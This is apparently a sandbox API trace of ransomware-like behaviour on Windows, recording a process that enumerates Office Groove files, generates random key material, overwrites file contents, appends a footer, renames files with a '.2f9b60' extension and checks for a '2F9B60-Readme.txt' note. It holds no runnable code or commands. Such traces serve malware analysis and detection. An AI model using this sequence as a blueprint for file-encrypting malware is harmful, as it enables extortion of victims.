NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78ed80 [0236.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ed80) returned 1 [0236.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207810) returned 1 [0236.911] NtQueryInformationFile (in: FileHandle=0x1e3c, IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8) returned 0x0 [0236.911] NtSetInformationFile (FileHandle=0x1e3c, IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aaa10) returned 1 [0237.021] FlushFileBuffers (hFile=0x1e3c) returned 1 [0238.195] CloseHandle (hObject=0x1e3c) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced1000 [0241.236] wcscpy (in: _Dest=0x1ced1000, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0241.237] wcscat (in: _Dest=0x1ced1000, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt" [0241.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\2f9b60-readme.txt")) returned 0x20 [0241.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1000) returned 1 [0241.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0241.238] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1 [0241.238] wcscmp (_String1="AddToViewArrowMask.bmp", _String2=".") returned 1 [0241.238] wcscmp (_String1="AddToViewArrowMask.bmp", _String2="..") returned 1 [0241.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776d90 [0241.238] wcscpy (in: _Dest=0x1b776d90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" [0241.238] wcscat (in: _Dest=0x1b776d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0241.238] wcscat (in: _Dest=0x1b776d90, _Source="AddToViewArrowMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" [0241.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp")) returned 0x20 [0241.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp", dwFileAttributes=0x20) returned 1 [0241.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e5c [0241.241] GetFileSizeEx (in: hFile=0x1e5c, lpFileSize=0x2c53fa60 | out: lpFileSize=0x2c53fa60*=2340) returned 1 [0241.242] SetFilePointerEx (in: hFile=0x1e5c, liDistanceToMove=0x920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.242] ReadFile (in: hFile=0x1e5c, lpBuffer=0x2c53f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c53fa28, lpOverlapped=0x0 | out: lpBuffer=0x2c53f9e0*, lpNumberOfBytesRead=0x2c53fa28*=0x4, lpOverlapped=0x0) returned 1 [0241.249] SetFilePointerEx (in: hFile=0x1e5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f040 [0241.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5f0 [0241.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e380 [0241.250] NtQuerySystemTime (in: CurrentTime=0x2c53f920 | out: CurrentTime=0x2c53f920*=132462178450522000) returned 0x0 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x52ee2c67 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x11957092 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0xe626f37 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x58a0bdd1 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2a3eea9a [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x1ae9a4cc [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x788e76e9 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x23feb938 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x744819f6 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2196000f [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5e428c2e [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0xdcfdcaa [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x22c70bd0 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5150ebe7 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x3eaf794 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x144e8411 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x3d938575 [0241.250] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6d688dc6 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4d8a1884 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2b14879a [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x446b49cb [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x63833fda [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x149f1c4 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0xf379cb9 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5ab8173c [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2a033d07 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4f1f4799 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x1b88fd98 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x79f90805 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0xc58262 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x1d7f35c2 [0241.251] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x7d2ce58f [0241.252] ReadFile (in: hFile=0x1e5c, lpBuffer=0x42479930, nNumberOfBytesToRead=0x924, lpNumberOfBytesRead=0x2c53f910, lpOverlapped=0x0 | out: lpBuffer=0x42479930*, lpNumberOfBytesRead=0x2c53f910*=0x924, lpOverlapped=0x0) returned 1 [0241.252] SetFilePointerEx (in: hFile=0x1e5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.252] WriteFile (in: hFile=0x1e5c, lpBuffer=0x424a69f0*, nNumberOfBytesToWrite=0x924, lpNumberOfBytesWritten=0x2c53f914, lpOverlapped=0x0 | out: lpBuffer=0x424a69f0*, lpNumberOfBytesWritten=0x2c53f914*=0x924, lpOverlapped=0x0) returned 1 [0242.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5920 [0242.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6880 [0242.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6880) returned 1 [0242.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a69f0) returned 1 [0242.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42479930) returned 1 [0242.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0242.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058240) returned 1 [0242.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42058240 [0242.799] SetFilePointerEx (in: hFile=0x1e5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0242.799] WriteFile (in: hFile=0x1e5c, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c53fa30, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x2c53fa30*=0x11e, lpOverlapped=0x0) returned 1 [0243.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20680) returned 1 [0243.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0243.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6880) returned 1 [0243.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058240) returned 1 [0243.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5920) returned 1 [0243.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5f0) returned 1 [0243.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e3e0) returned 1 [0243.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f1f0) returned 1 [0243.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798170 [0243.255] wcscpy (in: _Dest=0x1b798170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" [0243.255] wcscat (in: _Dest=0x1b798170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.2f9b60" [0243.255] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.2f9b60", NtPathName=0x2c53fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0243.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x1693c0 [0243.256] NtSetInformationFile (FileHandle=0x1e5c, IoStatusBlock=0x2c53faf0, FileInformation=0x1693c0, Length=0x100, FileInformationClass=0xa) returned 0x0 [0243.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1693c0) returned 1 [0243.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320f5e0) returned 1 [0243.437] NtQueryInformationFile (in: FileHandle=0x1e5c, IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8) returned 0x0 [0243.437] NtSetInformationFile (FileHandle=0x1e5c, IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8, Length=0x28, FileInformationClass=0x4) Thread: id = 3703 os_tid = 0x1e10 [0218.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav")) returned 0x20 [0219.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV", dwFileAttributes=0x20) returned 1 [0219.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3258 [0219.680] GetFileSizeEx (in: hFile=0x3258, lpFileSize=0x245efd80 | out: lpFileSize=0x245efd80*=40068) returned 1 [0219.680] SetFilePointerEx (in: hFile=0x3258, liDistanceToMove=0x9c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.680] ReadFile (in: hFile=0x3258, lpBuffer=0x245efd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x245efd48, lpOverlapped=0x0 | out: lpBuffer=0x245efd00*, lpNumberOfBytesRead=0x245efd48*=0x4, lpOverlapped=0x0) returned 1 [0219.840] SetFilePointerEx (in: hFile=0x3258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0219.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd990 [0219.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe170 [0219.841] NtQuerySystemTime (in: CurrentTime=0x245efc40 | out: CurrentTime=0x245efc40*=132462178238362000) returned 0x0 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x28018511 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x6a262d5c [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x1991fb8e [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x2a727760 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x4e5ae589 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x6b6e272f [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x3194d31e [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x14a7a51d [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x44ba7c3f [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x8943c50 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x45fd5b5c [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x657b962 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x2dd8291a [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x4dc27cf7 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x62228e74 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x405b3671 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x7757bec9 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x76957a6a [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x74d637b6 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x706a414 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x5215c9f1 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x563557a5 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x23aaba91 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x832d550 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x4e221f88 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x10e66284 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x39f43016 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x10cb01cc [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x52281864 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x46c23ccc [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x48f014e7 [0219.841] RtlRandomEx (in: Seed=0x245efc30 | out: Seed=0x245efc30) returned 0x5e94034c [0219.848] SetFilePointerEx (in: hFile=0x3258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.848] ReadFile (in: hFile=0x3258, lpBuffer=0x423cc580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x245efca0, lpOverlapped=0x0 | out: lpBuffer=0x423cc580*, lpNumberOfBytesRead=0x245efca0*=0x3c00, lpOverlapped=0x0) returned 1 [0219.947] SetFilePointerEx (in: hFile=0x3258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62410 [0219.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0219.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0219.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0219.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b5d20 [0219.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0219.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa590 [0219.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa590) returned 1 [0219.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0219.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62410) returned 1 [0219.952] WriteFile (in: hFile=0x3258, lpBuffer=0x423b5d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x245efca0, lpOverlapped=0x0 | out: lpBuffer=0x423b5d20*, lpNumberOfBytesWritten=0x245efca0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b5d20) returned 1 [0234.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423cc580) returned 1 [0234.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x422f7030 [0234.734] SetFilePointerEx (in: hFile=0x3258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.734] WriteFile (in: hFile=0x3258, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x245efd50, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x245efd50*=0x106, lpOverlapped=0x0) returned 1 [0243.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0243.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0243.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4430 [0243.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4430) returned 1 [0243.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0243.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4430 [0243.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3cb0 [0243.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0243.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0243.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0243.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431acce0 [0243.187] sprintf (in: _Dest=0x431acce0, _Format="%c%c" | out: _Dest="2b") returned 2 [0243.187] sprintf (in: _Dest=0x431acce2, _Format="%c%c" | out: _Dest="9c") returned 2 [0243.187] sprintf (in: _Dest=0x431acce4, _Format="%c%c" | out: _Dest="4e") returned 2 [0243.187] sprintf (in: _Dest=0x431acce6, _Format="%c%c" | out: _Dest="67") returned 2 [0243.187] sprintf (in: _Dest=0x431acce8, _Format="%c%c" | out: _Dest="ff") returned 2 [0243.187] sprintf (in: _Dest=0x431accea, _Format="%c%c" | out: _Dest="a3") returned 2 [0243.187] sprintf (in: _Dest=0x431accec, _Format="%c%c" | out: _Dest="9f") returned 2 [0243.187] sprintf (in: _Dest=0x431accee, _Format="%c%c" | out: _Dest="9b") returned 2 [0243.187] sprintf (in: _Dest=0x431accf0, _Format="%c%c" | out: _Dest="63") returned 2 [0243.187] sprintf (in: _Dest=0x431accf2, _Format="%c%c" | out: _Dest="0a") returned 2 [0243.187] sprintf (in: _Dest=0x431accf4, _Format="%c%c" | out: _Dest="39") returned 2 [0243.187] sprintf (in: _Dest=0x431accf6, _Format="%c%c" | out: _Dest="14") returned 2 [0243.187] sprintf (in: _Dest=0x431accf8, _Format="%c%c" | out: _Dest="d5") returned 2 [0243.187] sprintf (in: _Dest=0x431accfa, _Format="%c%c" | out: _Dest="8f") returned 2 [0243.188] sprintf (in: _Dest=0x431accfc, _Format="%c%c" | out: _Dest="be") returned 2 [0243.188] sprintf (in: _Dest=0x431accfe, _Format="%c%c" | out: _Dest="5e") returned 2 [0243.188] sprintf (in: _Dest=0x431acd00, _Format="%c%c" | out: _Dest="52") returned 2 [0243.188] sprintf (in: _Dest=0x431acd02, _Format="%c%c" | out: _Dest="74") returned 2 [0243.188] sprintf (in: _Dest=0x431acd04, _Format="%c%c" | out: _Dest="d1") returned 2 [0243.188] sprintf (in: _Dest=0x431acd06, _Format="%c%c" | out: _Dest="78") returned 2 [0243.188] RtlInitAnsiString (in: DestinationString=0x245efdc8, SourceString="2b9c4e67ffa39f9b630a3914d58fbe5e5274d178" | out: DestinationString="2b9c4e67ffa39f9b630a3914d58fbe5e5274d178") [0243.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x245efd98, SourceString="2b9c4e67ffa39f9b630a3914d58fbe5e5274d178", AllocateDestinationString=1 | out: DestinationString="2b9c4e67ffa39f9b630a3914d58fbe5e5274d178") returned 0x0 [0243.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced6220 [0243.189] RtlFreeAnsiString (AnsiString="2") [0243.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acce0) returned 1 [0243.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0243.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4430) returned 1 [0243.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0243.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f32b0) returned 1 [0243.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3250) returned 1 [0243.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0243.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0243.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd990) returned 1 [0243.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0b0) returned 1 [0243.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0243.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431461f0 [0243.195] wcscat (in: _Dest=0x431461f0, _Source="2b9c4e67ff" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2b9c4e67ff") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2b9c4e67ff" [0243.195] wcscat (in: _Dest=0x431461f0, _Source=".2f9b60" | out: 